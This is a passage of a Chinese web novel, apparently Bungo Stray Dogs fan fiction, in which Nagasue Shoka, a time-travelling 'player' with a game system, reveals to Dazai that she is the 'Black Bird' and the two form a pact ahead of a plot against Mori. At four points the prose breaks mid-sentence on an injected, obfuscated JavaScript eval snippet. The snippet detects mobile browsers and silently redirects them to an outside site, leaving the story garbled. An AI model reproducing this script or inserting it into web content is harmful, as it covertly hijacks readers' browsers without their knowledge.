他的语气中很自然地流露出近似深情的温柔,跟话语中的残酷意思完全不一样。 “现在出现在这里,被森先生发现的话,我也不会再包庇小夏小姐的哦。” 【游戏】的关键词被若有若无地刺中,系统好像受惊般在脑内波动了一下,但永末置若罔闻地投以凝视,目光中稳定无波。 他好像想用话刺伤我,永末想,但没有多少感觉。 感情……是幻觉。 依照永末的性格,她到现在依旧不能理解……可能以后也无法完全解明这种东西。 早在跟侦探社分别的时候,她已经完全想清楚了。 “喜欢他”,也许之前已经萌发,也许从未诞生,也许诞生了但没有被她察觉,也许早就佚失在时间的流变里边。 但不论是什么,她的选择很明确,因为…… 我无法接受虚假的平静生活。 如果这份平静会被谁随手破坏,能被谁随意的谋划戳破……即使对方做出保证,这依旧不是她所想要的平静生活。 “她的自由无法绕过太宰治”……要说回来的理由,其实是这个。 而且……明明现在说出的话,才是谎言。永末在意识中轻轻扫了一眼面板,突兀地,迈出了阻隔在他们间的最后一步。 她松开一直虚虚摸在腰际刀柄上的手指,轻柔但不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16257609|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容拒绝地伸出双臂,圈住了太宰的脖子。 少女冰冷的手指触及到之前吊颈留下的淤痕,察觉到了伤口肿胀的热度,却没有留情地收拢了。 好像是预备就势拧断的前奏,又好像是要将眼前人拉下来,落下同样冰冷的吻。 介于危险和暧昧两可之间的举动,现在即使是猎物想逃走,在猎手松手之前,也没有脱离陷阱的余地了。 “你好像不太理解我……太宰治。” 永末单手沿着他颈侧已经肿起的淤青攀援到他的后脑,仿佛无意般地蜷曲了几缕碎发,又随着重力轻微下压,拉低他,把嘴唇贴近了他的耳朵。 很难得的,永末第一次摒弃了礼节上的敬语、软化言谈的简称,叫出了他的全名。 “‘游戏’结束不是那么计算的。” “说好是一见钟情……约定成为了恋人,就必须要跟我达成HE才行。” 没有对视,拥抱也看不清表情。 强加拘束的少女说着求爱的言辞,面无表情,好像连眼神中的波光都一起冻彻了,被施予束缚的少年闻言加深了笑容,却连双臂间的心跳都没有加快一拍。 只有开启的面板揭露了风平浪静底下的狼藉。 【当前好感度:63……51……67……70……】 “这样吗?” ……比想象的更加纯粹……且扭曲。 揭开的谎言没必要再维系下去了吧?早该到落幕的时节了……暂时没有她的用处了,已经解明了她的意义,只需要在合适的时刻,合适的位置,摆放好她的存在,明明不需要再进一步的靠近了。 虚与委蛇已经应该结束了……不然再往下……也许会涉足真实的黑暗了。 “小夏小姐,对于he的标准是什么呢?” 不合时宜的好奇心在此刻冲破了理智的拘束,太宰不由得提出了问题。 只是好奇吧……明明自己也不理解,只是单纯依照文字或者模仿在雾里看花的家伙,连自己的感情都无法从水中捧出,只能虚虚地指给他看水底的月亮。 到底会说出何种回答呢? “太宰君听过童话吧?”冷淡的,仿佛在说着梦话一样荒诞的话语,又好像在传授某种真理一样,少女轻微地松开了他,那双蓝色的、接近噩梦的眼睛重新捕捉上了他。 她好像不觉得自己在说多可怕的话。 “我要……‘王子和公主幸福快乐地生活在一起,直到白发千古。’” ……何等恶毒的诅咒。 52.第52章 手指沦陷在质地柔软的羽织中。 这份力道在仿佛无意地将少女的腰际收紧时,也隔着衣服压到了里头硬质的刀具。微弱的痛感烙印在双方施力者的身上,腰间的手立即虚虚松开了。 好像一个半途而废的拥抱。 “……即使我上次对小夏小姐做出过超——过分的事吗?” 在永末还没判断出这是否应该算是一种失态前,太宰已经先一步发问了,用的是知道自己已经被原谅之后,那种伪装乖巧的,格外甜的语气。 与此同时,他轻轻挣动了一下,技巧十分娴熟,似乎只是头和肩膀微微错开了一下,便宛如游鱼一般分出了活动的缝隙。 永末默契地松了松手。 于是那份过于险恶的、仿佛要折断对方脖子的亲密,变成了另一种更近似调情的相拥,她勾着他肩膀,他压住她脊背。 ……这下就分不出到底谁被谁圈住了。 其实刚刚也可以不松手的,永末想。但那样,依照对方的使力方式,就真的可能造成颈部骨骼的折断或者错位了。 仿佛他非常笃定她跟之前一样,还是在意着他的生死,永末凝视着眼前这张不知悔改的脸想道。 但虽然为这份揣测而不悦,她同样也可以笃定……对方是真的不介意“咔吧”一下真的死在她手上。说不定还求之不得,非常欢迎。 太宰的话还没有结束。 “即使我之后……还会对小夏小姐,做出更加过分的事情?”他微笑着做出仿佛是预警,或是威胁的假设。 相拥间呼吸可闻,仿佛说话的震动也会同时传递到听者的耳朵中的距离。 甚至没办法隐藏表情的……过分坦诚的距离。 永末隐约感觉到太宰似乎勾起了她背后的一缕长发打转着玩,那份诡异的羽毛般的隐约触感让她难以自制地想要摆脱这种亲昵的环境,又觉得不能落于下风地暂时忍耐住。 太宰好像完全没有发现她失态僵住的瞬间,此刻简直笑得堪称故意蛊惑人心。 “即使这样,小夏小姐也不打算……放弃我吗?” 永末很难分辨出太宰现在的微笑到底意味着什么。 既好像是黑泥即将突破容器,在她应声之后就会展露出极度恐怖的一角,又好像是他在准备把皮囊之下仅存的某种闪闪发光的存在挖出来展示给她。 他显得奇妙的容光焕发,且格外期待。 但哪种都没有关系。 “太宰君能把之前的话解读到这个角度上……也很有意思就是了。” 永末察觉他故意混淆了一些她的意思,但发觉的同时,她又觉得无所谓。 也许摊牌不需要过早展露底牌,但说到底,她其实既不擅长恋爱,也不擅长当面的博弈。 “是哦。”永末直接了当地承认了。 她一边思考着言辞和目的,一边慢慢斟酌着说道,半是随口一提,半是意有所指,“即使是太宰君做出了不觉得会被原谅的事情,并且完全没有想得到原谅的打算……” “等一下哦……这种话才没有说过!”太宰立即打断道。 “如果小夏小姐想听道歉的话……”他松开了在永末看起来莫名其妙地把玩她头发的动作,但没有松开她。 像是从前惹恼她时那样,他娴熟地用特别真诚的声音开始道歉,进行了一系列主要以蒙混过关和撒娇卖萌为主的连招,“对不起,对不起,对不起……小夏小姐!可以原谅我吗?” “……”永末觉得自己不应该也不能在此时此刻被哽住,但面对眼前太宰格外真挚的眼神,发觉他故意又贴近了一点那张好看的脸,她真的有几秒钟想起从前。 所以说真的永远分辨不出,他到底是真的有一点微弱的歉意藏在里边,还是完全只是在表演道歉。 又是怎么轻而易举地拐跑话题和气氛的。 他好像永远能一秒代入各种角色,现在演绎的到底是“恋人”、“合作者”、“试探的mafia敌人”呢? 只留下她不明白,她现在又应该拿起哪套剧本。 不过……永远使用自己的剧本就可以了。 “没有关系……其实不需要道歉啊太宰君。”永末温和地捧起对方贴近的脸。 她从他鸢色的瞳孔中,看见自己的身影宛如融化一样塌陷下去,随后又从里边捏造出全新的影子。 “太宰君不是也早就知道了……” 样貌平平无奇,普通得易溶于人群的黑发男子,“黑鸟”,平淡地说道。 “你的计划早就得到‘我’的允许了。” …… 时间拉回几周前,暗杀王事件刚刚结束没多久。 那时港.黑本部,和横滨郊区附近作战区都还在忙碌的重建中,但明明应该作为指挥头脑的两人,却都不在现场,反而在关注另外一件事情。 森鸥外先前交给太宰的,可不仅仅是关于超越者那一件任务。 “古本修哉……最近的一起行动是……欺骗了部分日本政界人士,提前解散常暗岛的不死军团,盗走了核心异能力者与谢野晶子……” “广泛活跃于异能战争时期,疑似参与几起关键战争成为获利方,行动轨迹国内外都存在……作案行径包括买卖重要资源操纵局势,拐骗关键异能力者,公布绝密情报提前疏散民众,导致作战失败……” “在常暗岛事件后失踪……疑似已经死亡。” 太宰一边说,一边把情报页往办公桌上散开。 飘下来的纸页干扰了趴在地毯上拿着蜡笔绘画的爱丽丝,惹得她一怒之下,怒了一下,气咻咻地看了一眼太宰。 “这个人……就是‘黑鸟’背后的真身吧……”太宰不知道是没看到,还是假装没看到,连余光都没有扫过。 “森先生,太过分了吧!”他散完最后一张,蹬了一下桌沿,坐在桌上滑翔着转身,跟后头已经装不下去深沉的首领大声抗议,“明明你是知道后边是谁的吧?还要我自己先去找一遍情报?” “诶呀……算是老师给弟子设置的小小障碍嘛。”森鸥外轻巧地揭过了他判断太宰在任务上有没有对他隐瞒和撒谎的小小设计,用微笑遮掩了故意流露出来的尴尬。 “唔,是要接纳新人加入港.黑,还是看中他身后的财富了呢,森先生?”太宰没有乘胜追击,丢回他一个明知故问的问题。 “……虽然很想见到老朋友成为‘新人’,他如果真的愿意加入港.黑,前债也不是不能一笔勾销。”森鸥外做出思考的神情,“但是,作战其实是失败了吧。” “毕竟对方是……‘预言’能力者吧。”太宰不以为耻地说道。 森鸥外抬头,看着太宰的表情,两人的表情似乎存在有同源的阴暗,“预言吗……?” 太宰点了点情报上的各大事件,他把谎言和真相半掺杂着说,欺骗眼前的老师也没有流出半点心虚,“这些事件共同的特点,不是他好像总是能预先知道之后发生的事情吗?” “能够说出维系九天……牵连各方势力,包括日本方和欧洲各方的联络都能以假乱真,甚至几乎可以把谎话做成真实……如果不是‘预言’,难道是真的存在全知全能的谋划吗?” 太宰说这话的时候,神色接近玩笑和懒散。 其实能做出这种程度的真实,还有另一种可能性,书。 但这份可能已经被他握在手中了。 还是那句话,打破既定的那些可能性和世界发展,做出这一切的到底是谁,真的非常清晰。 区别只在于他想不想清楚。 “面对预言能力者,趋利避害,避免落入陷阱那也是基本的操作吧。”太宰治一本正经地巧言令色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16257610|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 森鸥外神色不动,他十指交叠,把脑袋往上头搁了一搁,语气和谐,“所以这就是太宰君这次行动的成果吗?” “仅仅是纸上谈兵的东西,会让老师失望的。”森鸥外的表情中仿佛真的不无遗憾。 单从情报中得出来的猜测,别拿出来糊弄人啦。他的微笑这么无声说道。 “诶……好吧——”太宰从袖口中摸出来一张纸飞机,来回地拈转了几下,“确实还有别的发现。” 森鸥外一眼瞥到了那似乎是这次行动的报告,眼角不由得跳了跳,他语重心长地嘱咐道,“就算是中也的成果,也不能这么对待吧,太宰君。” “之前被他拖到训练场……的事,已经忘记了吗?”森鸥外为弟子的脸面,含糊了他被当众打成一滩运到医院的事迹。 “啊,反正森先生一定已经看过了。那不就是废纸了吗?”太宰理所当然,“就是这次事件的报告嘛。” “我其实怀疑,是N盗取了那个废弃账号暂时使用,毕竟能在国家实验室里边,肯定也有足够高的黑客技术。”太宰治一边说,一边分辨眼前人的表情。 在意识到猜忌精还是没有相信后,他话锋一转,“但并不是获得账号,就能用底下的资产,而且N本身也已经处于被放弃的境地了,不可能自行填补这份悬赏金额。” “所以……账号的主人,也存在这个事件中,他是故意让N使用的。” “目的我想……是为了小夏小姐。”在说起这个名字的时候,太宰不由自主地从演说的语气中放低了声调,好像寻常在叫对方的名字那样说出这个称呼。 森鸥外眼神微微一动,难得以老师的口吻叫他,“太宰……” “嗯?”太宰倒是不解地看了他一眼,“之前的情报不是发觉了吗,他好像挺喜欢拐跑一些能力合适,年纪尚小并且身处危险的异能力者,小夏小姐就非常贴合这个画像。” 太宰嘴角一抿,拉出一条微微起伏的弧度,“所以把小夏小姐置于危险中,就有捉住这只小鸟的可能,不是吗?” 太宰激情胡说八道,张冠李戴。森鸥外对于自己被糊弄的事情完全不知情。 ……青出于蓝而胜于蓝。微妙的心绪反而逐渐悬浮在他的心里。 “做得很好……但是这次对方没有涉足……又有什么解释呢?”森鸥外掩藏住情绪,夸赞地同时看向他的眼睛。 我讨厌这个任务。太宰在心里编排。 “如果小夏小姐被人救走了,那才说明这份预知的全知全能吧;但现在……她没有。”太宰并不介意自己的死亡,但想到之前黑洞拖曳下少女的场面,他还是把这个词语换成了其他指代。 “那就说明……要么是小夏小姐的死亡就是他的追求,要么就是,他的能力,是有局限性的。” “所以……?”森鸥外好像在微微出神,见太宰住口,才收回放空的视线。 “黑鸟……在被灾祸捕捉,也在风暴中攫取利益,或者布施善心,所以,如果他的能力存在局限,那么,只要等待到下一场、存在足够利益的灾难出现……就能设下操纵的罗网了吧?森先生。” 太宰想到近在咫尺的龙头战争,一时居然分不清在说捏造的“黑鸟”,还是在说准备袖手旁观的自己。 “……”森鸥外用暗沉的目光注视着他,似乎接纳了这个理由,他重新展露出微笑,“那么……太宰君,下一次的战场,我期待你的好消息。” “是,是……”拉长的腔调做出了保证,最后的扯皮也算结束了,太宰把纸飞机顺着打开的窗缝一投而下,两手空空地转身就走。 “太宰君……” 身后的呼唤宛如幽灵一般缚骨,即使是森鸥外温和的嗓音也冲不掉那种寒意。 “你觉得……那孩子,永末尚夏,有没有可能还活着?” 53.第53章 是从什么时候发现的异常呢? 最开始,是在“过去”的时间线中,她意识到从时间逆向中可以得到的利益,利用系统去构造一个假身份的时候。 【夏夏!我找到了你想要的东西!】系统发出了快乐的声音。 随即电子音出现了迟疑,【好奇怪,这个身份……破译出来的账户密钥……好像就是我曾经构建出来的。】 永末不算多惊讶,对于她来说,得到了未来的馈赠,也只是省去了原始积累的过程。 那个时候她还在忙于掀翻实验室的计划,于是只是随意下达命令打发了系统,【那就围绕这个账户信息,继续搜集相关情报,说不定还有别的遗产呢。】 【对了……你找到账户名具体是什么?】某个瞬间的灵光一闪,让她突然问出了这个问题。 【“BlackBird”……“黑鸟”?】 少女猝然止步。 当时的她搁置了心里诞生的猜测,选择专注于目的的达成。 再往后,得到了未来的提示,从游戏的CG得到了更多的视角,不断试图冲破时间的束缚,想知道能否改变未来……终于在某个时刻,零散的碎片线索在脑海中逐步链接,让永末突然有了一种“原来如此”的恍然。 那一刻,谜底自然而然地浮现了。 黑鸟……是我。 “悬赏”的最大金主,被临时投入奖池的“70亿”,是为了隔绝“港口mafia”这个临时港湾的庇佑,把还不知道如何飞翔的小鸟推进命运激浪的风口浪尖。那是最开始投入水池的石子。 与此同时,“证明录像”的展出,和后续猎杀失利的直播,是为了让她的脸暴露在所有为赏金而来的猎手跟前,直到被选定的那个人看见。那是随着石子沉没,扩散的涟漪。 ……这份涟漪最终勾连上了一直有心报复的N,并且在最后的最后,把她推到了那个时候,刚巧具备摧毁她的能力和动机的超越者跟前。 于是……谜底由是展开,同时公布给了想知道的两个人。 “黑鸟”的目的,就是让“永末尚夏”被逼向死亡,然后从死亡中,变成他/她自己。 “请勿睁眼偷看谜底”……她那时想起了曾经看过的那张CG,突然领悟了它身为金色品质的原因。 也就是这个时候,她终于打开最后一张CG,看清了上边的内容。 “被恋人射杀之日”。 黑色的、重力的风暴包裹着画面中心蜷缩的少女,聚拢的那一点宛如黑暗的流星,穿透了少女的心脏,在风暴的对比下,她显得身形细小,仿佛一枚等待孵化的卵。 而风暴的起源,则是用嶙峋的眼神注视着她的太宰,他的凝视仿佛在示意爱,又好像在阅读死。 永末的目光在风暴飞散而出的细节上微微停顿,那些逸散开来的,黑色的光点,被绘制成了往四下中飞走的无数黑鸟,仿佛在其中暗藏的,第三人的彩蛋。 * “太宰君想看清谜底,于是推波助澜,但是‘我’明明知道这一切是怎么发生的……‘我’会遭遇什么‘过程’,却也同样袖手旁观,甚至在其中参了一笔。” “……这怎么能怪太宰君呢?” 面目普通到模糊的黑发男性,说话的声调还是一如既往的平淡,声音……跟当初在居民楼下,未曾谋面的惊鸿一瞥时完全一致。 “你敢看清‘我是谁’吗?”当初的问句仿佛还在耳边。 但其实,早就已经猜到了。只是…… 如果小夏小姐就是‘黑鸟’,这不是意味着,在知晓这个计划的同时,她也完全目睹了……属于太宰治的卑劣吗? 他用绝对的智谋,随意摆弄人心,将木偶提着线引入设计好的故事里,却又在某个时间意识到,自己也不过是属于帷幕下的演员,而木偶才是坐在观众席之上平静鼓掌的人……这份幽微的心情,又应该是怎样的呢? 看到这样面貌的对方,就仿佛再度品尝到当时拧转晦涩……手心手背都是屎的糟糕心境。 …… 永末感觉太宰僵了一下,脸上流露出了真实的抗拒。 “……完全不想拥抱男人。” 太宰出手推了她胸口一把,把脑袋从她手中抢救出来,果断分开了这场贴贴,还好像避之唯恐不及地退了两步,背靠了门板。 虽然她确实是故意的。不过这个展开还是让永末感觉有几分微妙。 这种感觉,仿佛兼具作弄到了对方的愉快,和被直白地嫌弃拒绝的不快,两相叠加……哦抱歉,好像还是愉快占了上风,甚至太宰表现出的拒绝更加让人愉快了。 不知道是不是因为身姿的变化,明明是同一个人,做事的风格也是一以贯之,但“永末尚夏”和“黑鸟”的风评似乎截然不同。 如果说少女姿态的“永末尚夏”,给人的感觉是不通人性的冷感,勉强可以容忍,甚至有些人还会眼瘸地觉得可爱。 那么男性样貌的“黑鸟”,虽然举止间努力地谦和礼貌,还是会给人一种傲慢且值得警惕的观感。 “只是能力的拟态而已……我没有真的改变性别,太宰君。”永末用安抚的声音说道,毕竟她没必要分化出什么具体的器官。“因为这种展示更加直观吧?更容易让太宰君相信……” 她说着,轻盈地踮脚,仿佛展示什么一样在太宰跟前转了一圈。 但不知道是不是男子穿女式和服的搭配会有什么奇怪的特效,太宰的表情顿时变得更加复杂了。 “话说……”见此,好像突然想起来什么,永末提出道,“对于太宰君来说,‘永末尚夏’最近应该不好出现在身边吧,被港.黑发现了就糟糕了……” “但是以这样的形态出现的话,就不会被认出来了吧?”她体贴地说道。 “……绝对不行!”太宰当场拒绝,这下甚至拒绝看她了,他反响激烈地伸手捂住了眼睛,“……小夏……小姐!不要让我开始考虑一些过于哲学的问题吧!” 抗议的声音刚刚说出,即使彼此都知道恼怒和排斥也是插科打诨舒缓气氛的手段,但眼睛没有看向之处,还是忍俊不禁般地泄露了笑声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263278|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但这次的笑声,又不再是属于男性的音色了……反倒有另外一种让人心中一颤的熟悉。 太宰本能地望向了声音传来的方向。 年逾二十出头的成年女性正站在那边,脸上还有点未褪去的笑意。 这让她的神色中有种“银瓶乍破水浆迸”的,惊心动魄的生动感,但这份生动,也迅速地在逐渐淡去,重新回归到他熟悉的“永末尚夏”的表情里边。 也许永末本人并没有察觉,但其实太宰还是能从所谓“拟态”的差别和相同处看出来,这些形貌其实还是有部分相似之处的……应该是以同一个人作为原型涂涂抹抹构建出的。 即使是男性的外表,在认真分辨的时候还是能从他的瞳孔中读出类似墨蓝的色泽,他的瞳色和发色虽然接近黑色,其中依旧存在无法完全抹去的隐约蓝色。 面部的变化只是去除了所有值得记忆的细节,加上性别带给人的自然诞生的陌生感,这才构造出了类似“模糊”和“路人”的感觉。 而现在展露的成年女子的身体,更是清晰可以分辨出其中跟“永末尚夏”相似的五官,虽然不太明确,但有心人还是一眼就能得知两者之间的联系。 她似乎是第一次使用这样的形态一般,行动稍微有点陌生地查看着手心的纹路,同时慢条斯理地把散下来的长发松散地挽了上去,挽起后便露出了一点后颈的皮肤。 似乎是在拟态时,故意加深了发色让颜色更接近于黑色,毕竟原先的颜色过于显眼了,但她现在对着光撩起长发,其中隐约的异色就从里边透出来,因为看不分明但直觉上存在异常,反而让她的动作有点莫名吸引人视线。 身姿拔擢之后,原本的衣服显得有点不合身了。 如果是……他们第一次见面的那身黑色风衣,或许会显得更合适一些。 “其实能用的‘拟态’并不多……”永末随口说道,从太宰的桌上随意捡了一只废弃的钢笔把头发扎起来。 鬼知道这个系统是怎么计算的,如果要拟态成其他人的样子,似乎是需要花费积分维持,并且要时时刻刻用意识重构每个细节,但是增龄减龄,性转缩小居然不用额外付出积分。 ……难道这就是什么鬼王的拟态特性吗?永末知道的时候顿觉离谱。 而且很微妙的是她后来有一回想起来,问起系统,为什么之前得到的时装能这么适合14岁的她啊,难道当初前一个世界的攻略结束的时候,她也才14岁吗? 结果得到的回答是,那个世界所有人的体型都是这样的,应该说是类似某种世界规则,就连成年人也都长得格外小巧可爱。 “不过……”永末说了半句,把视线重新投向太宰,原本还残存的轻松顿时在心底里清空了。 “啊……”她轻声说道,“你见过‘我’。” 想要知道更多……关于对方,关于自己。这本来也是她选择回来的另一重目的。 她还没有得知他们间的“初遇”,她还不清楚,太宰当初选择“爱”她的目的。 “你见过这样的‘我’,是吗?太宰君。” 54.第54章【修】 ……确实,太宰见过永末尚夏。 在她所认知的“初遇”之前,他见过现在的她。 那是寻常的一个入水活动日,漂浮在水流间,空气从肺部逐渐上浮,意识却飘荡向下,生和死好像都近在咫尺,现实却变成隔岸的毛玻璃……对于太宰来说,这只是简便的放松活动。 就在这次活动的边角处,却有黑色的影子忽闪而过,一次,两次,三次,好像铁路窗外,停留在电线杆上,被掠过三次的乌鸦。 不引人注意,但也让人直觉不快。 他终于是厌烦地睁开了眼睛。 透过模糊的视线,岸上跟着他的身影却不是寻找而来的部下,而是一个陌生的黑发女人。 女人以一种百无聊赖的姿态在岸边跟着他,似乎既不想下水救人,又不想放任他从视线中消失,黑色的长风衣随着她的动作上上下下,红色的围巾松松地裹着脸,艳丽得如同吊颈的牵绳。 下一秒,女人如有所觉地抬起脸,因为过于遥远的距离显得面目模糊,但从她的视线落下的那刻开始,太宰已经完全明白了。 她是为他而来的。 …… 好像是什么陌生的赌局一样,太宰治任由自己随波逐流,猜测到底是任由他沉溺淹死,还是踯躅河边,不愿伸出援手的女人先一步违背心意救下他。 最终涉水而来的还是那个陌生女子。在用性命跟死亡打赌上,太宰还没输过。 黑和红穿透生死的朦胧间隙,在水波和大量气泡中,她朝他而来,他的心里莫名觉得像是见到了一只彼岸而来的报丧鸟,亲切、厌憎、想要它能停驻在手指上,又想要屈指把它碾碎在掌心。 大概就是这样的一念之差,太宰上了岸也没有立即睁眼。 装尸体这种活他也干得非常漂亮,甚至可以让心脏也稍微歇一歇。 他可以感觉得到她的目光落在他的脸上,几秒后,她轻轻地托起他的颈部,很标准地让下颌线垂直,然后她俯下身…… 但接下来的展开跟他想的完全不一致。 一开始确实是一股温暖气流,顺着嘴唇相贴处通进气管,但很快就是连换气都不需要的第二股……托起他的手指变成了压制挣扎的铁钳,十几秒之后,灼烧般的痛感就填充了太宰的整个感官,让他突然觉得装死不是什么好主意。 她好像在把他当气球吹,一直吹到他不得不活过来。 “哇——”最后太宰还是在被吹炸肺和鲤鱼打挺之中选择了后者。 太宰猛地蹿起来,失去礼貌地一把推开女人,连殉情的邀请都没来得及说,就开始呕吐,肺部火烧火燎的感觉比入水糟糕一万倍,他一边吐一边还抓紧时间在间隙里头指责。 “故意的……你……呕……明明、有求于人……呕……” “不好意思。”陌生的女人站出了几步远,她湿漉漉的长发和围巾遮挡了大半面容,只有目光在他的脸上蜻蜓点水地一掠而过,说话的声音毫无起伏,话语里头有点谜之熟练的刻薄。 “但理解了呼吸法后,我果然还是想让你试试看水之呼吸版人工呼吸。” 女性说着,停顿了两秒,太宰敏锐地捕捉到了其间转瞬而逝的一点沉默。 然后她再度开口,仿佛在怀念什么,又好像只是在回应某个稍微遥远的玩笑话。 她在应该是初次相遇的时刻,直截了当地叫他: “太宰先生。” * 太宰微微翕动睫毛,遮住了黑白分明的瞳孔,从暧昧不明、仿佛一张老旧照片的久远回忆中,回到了充斥着腐烂空气的垃圾场里头。 “唔,现在还不是合适的时间告诉小夏小姐呢……让我作为秘密暂时保存它,怎么样呢?” 他轻轻跳过了这个问题,仿佛这只是什么无关紧要的的问话,但神色中却流露出不会透露一点的决意。 太宰不愿意回答的问题,就算把话题扯回来一万次,他也有办法悄无声息地再把它拉回天边。 ……至少永末知道自己是没有那种能力能够让他说漏嘴的。 永末不置可否,从桌边折身而起,在椅子上头落座,她还不太适应现在的身高,总觉得站着的视野有点奇怪。 “就算是现在的小夏小姐……也不适合再出现在港.黑呢……”太宰说着,像猫猫一样半搭着椅背,认真地描摹了一下眼前人的既熟悉又陌生的面容。 不管年岁和面目细节怎么变迁,一以贯之的是对方脸上没什么表情的神情。 他有点哑然地发现了自己现在其实更眼熟一点的还是少女形貌的永末,并为这奇妙的感觉而微微一哂,“森先生不会放过这么明显的疏漏的。” “就算小夏小姐想加入援手……” 剩下的话语溶解在对方看过来的眼神之中了。 这种双方都知道在说假话的场面对太宰来说也不算少见……但他居然在这份目光中有些说不下去,这才算是罕见之处。 如果小夏小姐想加入援手,她所处的战场,必然是位于“过去”而非现在。太宰想道。 哪里有握持时间的玩家无法参与的援手呢?永末在心里说道。 ……只是他之前,不想拉她进入这场阴谋和血腥的漩涡里头。 明明最开始,是打算好好“使用”她的。 “之前把小夏小姐塞进侦探社,说不定我还挺认真的……毕竟只要小夏小姐一出现,有些事情就很难藏得住。” “即使是应该是秘密的事情……”但总有直觉,这点小夏小姐其实已经知道了。 “小夏小姐,是站在我这边的吧?”太宰突然再度确认道。 “如果说是太宰君打算去做什么,那我想,我是了解的。” 永末微微侧头,望向他的眼睛,她完全理解他话语中的未尽之意,也清楚自己此刻的存在,对于太宰来说也算是一枚定时炸弹。 本身森鸥外的疑心就让局势摇摇欲坠,她如果再度出现在对方的视野中,不光意味着格外招致他警惕心的“黑鸟”有再度入场的迹象,还意味着,汇报当时行动的中也和太宰都对他做出了欺骗和隐瞒。 所以,她无法回到港.黑,或者说…… “我没办法回到首领是森先生港.黑,但只要他不是了,那就没有关系了,对吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263279|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?太宰君。” “只要港.黑的首领不介意,不管是疑点、是否有背叛的嫌疑、跟‘黑鸟’存不存在关系,就都没有关系吧。” “没有拿着这一点去戳破什么,我想,我已经证明了我对太宰君的‘真心’吧……不过唯独不清楚的,是太宰君打算怎么实践呢。” “……龙头战争。”太宰在短暂的沉默之后,还是让真话轻易地游弋出来了。 也许是脸贴脸的距离太近,让人觉得即使说点真话也没有关系。 永末一怔,没有料想到他会真的回应。 虽然知道他一定会登上首领的位置,但是……她以为在他做到之前,即使有所暗示也不会亲口承认的。 只能是那个时刻,几个月之后的龙头战争,毕竟不在那个时候清理掉森先生,他就真的得变出一只“黑鸟”了结任务了呢,所以在那之前,还是趁早让森先生退位吧。 太宰将千回百转的阴谋在肚子里边打了个转,多余的话全都变化成为一句轻飘飘的许诺,他微笑道。 “等到‘龙头战争’结束,小夏小姐在横滨,就哪里都可以去了。” “太宰君。”永末突兀地开口,她还是老样子,在说重要的话时,喜欢看向听者的眼睛,这让样貌变化带来的成熟感被削弱了一点。 她好像一个相信诺言,觉得什么人都不会说谎的笨蛋小孩子那样伸出小指,“继续维系这段‘一见钟情’的盟约吧?太宰君。” “……其实已经答应小夏小姐了哦。”太宰讶然,还是依照她的意思把手指互相扣上了。 “不是哦……太宽泛的东西不是我想要的。”永末没有迟疑,“跟太宰达成he,是我单方面强求,一定要去做的事情。” “盟约是指别的东西……”她微微凑近太宰了一点,近得让他想退缩,“我想……参与你所有的人生……见证你所有的人生节点。所有重大计划,重要之事,都请让我参与。” 这只是为了方便刷CG,玩家这么觉得。 她凝视着太宰眼中映照出的自己,也同样凝视着他瞳孔中轻微的震颤。 “我还想……了解太宰君度过此生的意义和目的,想知道太宰君眼中的‘爱’这种虚无缥缈的东西的定义……想知道我们曾经怎么认识,太宰君对我又有什么了解……” 这个完全是为了安全考虑,玩家这么觉得。 “为此……我愿意暂时以你的方向,作为我的方向。” “在前行过程中,太宰君可以使用我的一切。不管是当做刀剑、棋子……还是别的什么,尽可以物尽其用,不用客气。” “请跟我结成这样的盟约。”永末冷彻地请求,扣住了对方好像想要逃走的小指。 “……好啊。” 半晌,太宰听见自己的声音在空气中坠下,不知道是不是因为期待而微微颤动。 “……背誓的人呢?会吞一千根针而死吗?” 永末轻轻摇动他们相扣的手指,晃了晃才重新松开,端庄地完成了起誓。 她难能可贵地露出了温和的笑容,“不,说谎的人,会长命百岁,永远不死。” 55.第55章【补】 后半夜永末离开了垃圾场,带着太宰治一起。 “虽然森先生还没有特别监视我的行动……”太宰在被她拉着手腕拖出去的时候,伸出另一只手搭了搭门,宛如在街边被绑架的小黑猫一样做出了微不足道的反抗。 